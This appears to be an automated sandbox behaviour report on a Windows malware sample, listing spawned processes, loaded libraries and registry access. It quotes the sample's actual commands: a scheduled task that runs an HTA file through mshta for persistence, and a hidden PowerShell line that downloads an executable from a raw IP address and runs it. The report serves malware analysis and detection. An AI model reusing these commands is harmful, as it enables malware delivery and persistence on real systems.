Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0070BE44 0_2_0070BE44
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006B9EEE 0_2_006B9EEE
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0068BF40 0_2_0068BF40
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD34311921 9_2_00007FFD34311921
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD34315B81 9_2_00007FFD34315B81
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD34313A4B 9_2_00007FFD34313A4B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD34315409 9_2_00007FFD34315409
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD343E08BD 9_2_00007FFD343E08BD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 9_2_00007FFD343E42F2 9_2_00007FFD343E42F2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CD78BB 19_2_00CD78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CD7049 19_2_00CD7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CD8860 19_2_00CD8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00C94DE0 19_2_00C94DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CD31A8 19_2_00CD31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CD2D10 19_2_00CD2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CD779B 19_2_00CD779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00C94B30 19_2_00C94B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CC7F36 19_2_00CC7F36
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: String function: 00689CB3 appears 31 times
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: String function: 0069F9F2 appears 40 times
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: String function: 006A0A30 appears 46 times
Sample file is different than original file name gathered from version info
Source: PUDNz69qBQ.exe, 00000000.00000003.2139036796.0000000000F54000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2138732936.0000000000F53000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000002.2140224450.0000000000F58000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2136918166.0000000000F51000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2138831515.000000000108F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2138831515.000000000108F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameb" vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2131092283.0000000001071000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2131092283.0000000001071000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameb" vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2131152430.000000000107E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2131152430.000000000107E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameb" vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2135390670.0000000000F44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2131188520.0000000001088000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: FV_ORIGINALFILENAME vs PUDNz69qBQ.exe
Source: PUDNz69qBQ.exe, 00000000.00000003.2131188520.0000000001088000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameb" vs PUDNz69qBQ.exe
Searches for the Microsoft Outlook file path
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Uses 32bit PE files
Source: PUDNz69qBQ.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.6.dr Static PE information: Section: rtrxnzik ZLIB complexity 0.9944343498734366
Source: skotes.exe.11.dr Static PE information: Section: rtrxnzik ZLIB complexity 0.9944343498734366
Source: classification engine Classification label: mal100.phis.troj.spyw.evad.winEXE@23/9@0/2
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F37B5 GetLastError,FormatMessageW, 0_2_006F37B5
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E10BF AdjustTokenPrivileges,CloseHandle, 0_2_006E10BF
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 0_2_006E16C3
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode, 0_2_006F51CD
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_0070A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle, 0_2_0070A67C
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize, 0_2_006F648E
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006842A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource, 0_2_006842A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3576:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4824:120:WilError_03
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe File created: C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta Jump to behavior
Source: PUDNz69qBQ.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\SysWOW64\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: PUDNz69qBQ.exe Virustotal: Detection: 29%
Source: PUDNz69qBQ.exe ReversingLabs: Detection: 47%
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: unknown Process created: C:\Users\user\Desktop\PUDNz69qBQ.exe "C:\Users\user\Desktop\PUDNz69qBQ.exe"
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn I4T8vmamOSJ /tr "mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn I4T8vmamOSJ /tr "mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE "C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE "C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE"
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn I4T8vmamOSJ /tr "mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn I4T8vmamOSJ /tr "mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE "C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE "C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE" Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Section loaded: userenv.dll Jump to behavior
